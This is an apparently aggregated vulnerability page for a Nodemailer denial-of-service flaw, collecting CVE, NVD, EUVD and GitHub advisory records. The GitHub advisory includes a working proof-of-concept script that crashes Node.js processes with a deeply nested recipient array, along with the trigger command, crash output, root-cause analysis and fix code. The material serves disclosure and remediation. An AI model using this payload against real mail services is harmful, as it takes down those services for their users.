Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 03:25 UTC Customize Public modeDiscuss ChangeIntel on Discord

Nodemailer before 10.0.2 Stack Exhaustion via Nested Recipient Arrays

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-100702

Published

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString() conversion, exhausting the call stack and terminating the Node.js process.

Source published
26 Sep 2026 13:23:57 UTC
Source modified
26 Sep 2026 23:11:16 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-87675

Published

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString() conversion, exhausting the call stack and terminating the Node.js process.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 26, 2026, 1:23:57 PM

dateUpdated: Sep 26, 2026, 11:11:16 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-4410: IBM App Connect Enterprise: Mehrere Schwachstellen

CVE-2026-100699 · CVE-2026-100700 · CVE-2026-100701 · CVE-2026-100702 · CVE-2026-101898 · CVE-2026-101900 · CVE-2026-101901 · CVE-2026-101902 · CVE-2026-101903 · CVE-2026-101904 · CVE-2026-101905 · CVE-2026-101906 · CVE-2026-101907 · CVE-2026-101908 · CVE-2026-101909 · CVE-2026-101915 · CVE-2026-101916 · CVE-2026-104850 · CVE-2026-106444 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-110869 · CVE-2026-111767 · CVE-2026-15187 · CVE-2026-33937 · CVE-2026-83745 · CVE-2026-84003 · CVE-2026-86535 · CVE-2026-90776 · CVE-2026-91863 · CVE-2026-91864 · CVE-2026-91865 · CVE-2026-91866 · CVE-2026-91867 · CVE-2026-93687 · CVE-2026-93749 · CVE-2026-94645 · CVE-2026-94646 · CVE-2026-96294

Source published
Sep 26, 2026, 1:23:57 PM (timezone not stated)
Source modified
Sep 26, 2026, 11:11:16 PM (timezone not stated)
Observed here
11 Nov 2026 05:27:41 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-100702

Published

Nodemailer before 10.0.2 fails to properly flatten deeply nested arrays in recipient fields such as to, cc, and bcc, allowing attackers to cause stack exhaustion. Attackers can supply a deeply nested JSON recipient array that triggers recursive Array.toString() conversion, exhausting the call stack and terminating the Node.js process.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-674

Original publisher date fields

published: 2026-09-26T14:16:55.280

lastModified: 2026-09-30T16:32:17.940

Source published
26 Sep 2026 14:16:55 UTC
Source modified
30 Sep 2026 16:32:17 UTC
Observed here
25 Oct 2026 04:17:26 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.2 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-8vvx-rff5-p5rq

Published

## Submission metadata | Field | Value | |---|---| | Ecosystem | npm | | Package | `nodemailer` | | Repository | https://github.com/nodemailer/nodemailer | | Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` | | Current tested version | `10.0.1` | | Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` | | Proposed affected range | `>= 2.7.2, <= 10.0.1` | | Patched version | 10.0.2 | ## Summary Nodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as `to`, `cc`, and `bcc`. The public `MimeNodeAddressInput` type recursively permits arrays, but `MimeNode._parseAddresses()` flattens only the outermost array. A remaining nested array is passed to `addressparser()`, whose `Tokenizer` coerces the input with `.toString()`. Native `Array.prototype.toString()` recursively processes every nested array through `join()` and `toString()` until the V8 call stack is exhausted. A valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes: ```text RangeError: Maximum call stack size exceeded ``` The exception occurs through the normal `sendMail()` API before the `maxRecipients` limit is evaluated. If the integrating application does not catch the synchronous exception around the complete `sendMail()` invocation, the Node.js worker or server process terminates. No SMTP server, remote host, large attachment, or successful email delivery is required. This is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group **strings**. This report uses Nodemailer's structured recipient-array input and never reaches the parser's `MAX_NESTED_GROUP_DEPTH` protection. ## Security impact An attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include: - Email-sending HTTP APIs that accept structured recipient values. - Notification workers consuming JSON jobs from a queue. - Template or automation systems that forward parsed recipient data to `sendMail()`. - Multi-tenant applications that allow users to configure message recipients. When the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable. Applications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous `sendMail()` invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs. ## Attack prerequisites The vulnerability is reachable when: 1. An application accepts attacker-controlled or partially attacker-controlled recipient data. 2. The application preserves the array structure after parsing JSON. 3. The resulting value is passed to a Nodemailer recipient field such as `to`, `cc`, or `bcc`. 4. The application does not impose its own nesting-depth limit before calling Nodemailer. The proof of concept uses `jsonTransport` only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to `jsonTransport`. ## Technical details ### 1. The public input type accepts recursively nested arrays At `src/mime-node/index.ts:67`, recipient input is recursively defined: ```ts export type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[]; ``` Pinned source: https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67 This permits values equivalent to: ```js [[[[['[email protected]']]]]] ``` ### 2. `_parseAddresses()` removes only the outermost array At `src/mime-node/index.ts:1359-1385`, `_parseAddresses()` wraps the input with `[].concat(addresses)` and iterates the resulting outer array: ```ts _parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] { const flattened: MimeNodeAddress[] = []; ([] as any[]).concat(addresses).forEach(address => { if (address && address.address) { const normalized = this._normalizeAddress(address.address); // ... return; } const parsed = this._normalizeParsedAddresses(addressparser(address)); for (let i = 0; i < parsed.length; i++) { flattened.push(parsed[i]); } }); return flattened; } ``` Pinned source: https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386 For an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy `.address` property, it is passed directly to `addressparser()`. ### 3. `Tokenizer` invokes recursive native array conversion The `Tokenizer` constructor performs the following coercion at `src/addressparser/index.ts:393`: ```ts this.str = (str || '').toString(); ``` Pinned source: https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393 When `str` is an array, this invokes `Array.prototype.toString()`. Array string conversion invokes `join()`, which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling: ```text Array.toString -> Array.join -> childArray.toString -> Array.join -> childArray.toString -> ... ``` At sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`. ### 4. The recipient limit is applied too late Nodemailer's `maxRecipients` protection is evaluated only after the message envelope has been constructed: ```ts const recipientCount = mail.message.getEnvelope().to.length; ``` Pinned source: https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417 The exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition. ## Vulnerable code path ```text transporter.sendMail(message) -> MailComposer(mail.data).compile() -> mail.message.getEnvelope() -> MimeNode._parseAddresses(message.to) -> addressparser(nestedArray) -> new Tokenizer(nestedArray) -> nestedArray.toString() -> Array.join / Array.toString recursion -> RangeError: Maximum call stack size exceeded ``` ## Proof of concept ### Test environment ```text Operating system: Windows 11 Node.js: 20.20.2 Nodemailer: 10.0.1 Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2 Transport: jsonTransport ``` ### Installation ```console mkdir nodemailer-nested-array-poc cd nodemailer-nested-array-poc npm init -y npm install [email protected] ``` Create `poc.mjs`: ```js import nodemailer from 'nodemailer'; const depth = Number(process.argv[2] || 5000); // Valid JSON containing one address wrapped in `depth` arrays. const json = '['.repeat(depth) + '"[email protected]"' + ']'.repeat(depth); const recipient = JSON.parse(json); console.log({ nodemailerVersion: '10.0.1', depth, jsonBytes: Buffer.byteLength(json) }); const transport = nodemailer.createTransport({ jsonTransport: true }); await transport.sendMail({ from: '[email protected]', to: recipient, subject: 'Nested recipient array PoC', text: 'test' }); console.log('sendMail resolved'); ``` ### Trigger ```console node poc.mjs 5000 ``` ### Observed result ```text { nodemailerVersion: '10.0.1', depth: 5000, jsonBytes: 10021 } node:internal/modules/run_main:123 triggerUncaughtException( ^ RangeError: Maximum call stack size exceeded at Array.join (<anonymous>) at Array.toString (<anonymous>) at Array.join (<anonymous>) at Array.toString (<anonymous>) at Array.join (<anonymous>) at Array.toString (<anonymous>) ... Node.js v20.20.2 ``` The tested process exits with status code `1`. ### Control case Running the same code with a nesting depth of 500 succeeds: ```console node poc.mjs 500 ``` Observed result: ```text { nodemailerVersion: '10.0.1', depth: 500, jsonBytes: 1021 } sendMail resolved ``` The difference between the trigger and control cases is only the nesting depth. ### Reproduction notes - The exact failure depth is platform and runtime dependent because JavaScript stack limits vary. - A depth of 5,000 reliably reproduced the exception in the tested Node.js environment. - The payload is generated as JSON and parsed with native `JSON.parse()` to model data received by an HTTP API or queue worker. - No network connection is performed because `jsonTransport` is used. ## Version verification The proof of concept was executed against several released versions. Each listed version exited with `RangeError: Maximum call stack size exceeded` at a depth of 5,000: | Nodemailer version | Result | |---|---| | `2.7.2` | Vulnerable | | `3.0.0` | Vulnerable | | `7.0.11` | Vulnerable | | `9.1.1` | Vulnerable | | `10.0.1` | Vulnerable | Version `7.0.11` is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path. The proposed affected range is `>= 2.7.2, <= 10.0.1`, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe. ## Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874 The previous advisory used a crafted address **string** containing nested RFC 5322 groups: ```text g0: g1: g2: ... [email protected]; ``` Its recursive path was: ```text addressparser(string) -> _handleAddress() -> addressparser(nested group string) ``` That issue was mitigated by adding and propagating a parser recursion-depth counter capped by `MAX_NESTED_GROUP_DEPTH`. This report instead supplies a structured JSON **array** through the public recipient input: ```text MimeNode._parseAddresses(array) -> addressparser(array) -> Tokenizer -> Array.prototype.toString() ``` The array conversion happens before any RFC 5322 group parsing. Consequently: - No sequence of nested group delimiters is required. - `_handleAddress()` is not the source of recursion. - The `_depth` parser option is not incremented. - `MAX_NESTED_GROUP_DEPTH` is never consulted. - Releases containing the previous fix remain vulnerable. Previous advisory: https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v ## Suggested remediation Flatten `MimeNodeAddressInput` values iteratively before passing scalar values to `addressparser()`. Nested arrays should never be implicitly converted to strings. For example, the implementation can maintain an explicit work stack: ```ts const pending: unknown[] = [addresses]; const seenArrays = new WeakSet<object>(); while (pending.length) { const value = pending.pop(); if (Array.isArray(value)) { if (seenArrays.has(value)) { throw new TypeError('Cyclic recipient array'); } seenArrays.add(value); for (let i = value.length - 1; i >= 0; i--) { pending.push(value[i]); } continue; } // Process only scalar strings and structured address objects here. } ``` Additional hardening options include: 1. Reject array nesting above an explicit maximum before any coercion. 2. Reject unsupported recipient value types instead of passing them to `addressparser()`. 3. Catch address-normalization exceptions and report them through the normal `sendMail()` callback or rejected Promise. 4. Apply input-complexity checks before constructing the envelope and before evaluating `maxRecipients`. An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory. ## Suggested regression tests The fix should cover: 1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error. 2. Nested inputs through `to`, `cc`, `bcc`, `replyTo`, and explicit envelope fields. 3. A cyclic JavaScript recipient array. 4. Ordinary flat strings and arrays, preserving existing behavior. 5. Arrays containing structured `{ name, address }` objects. 6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.

Source published
29 Sep 2026 18:23:50 UTC
Source modified
29 Sep 2026 18:30:42 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 03:25 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current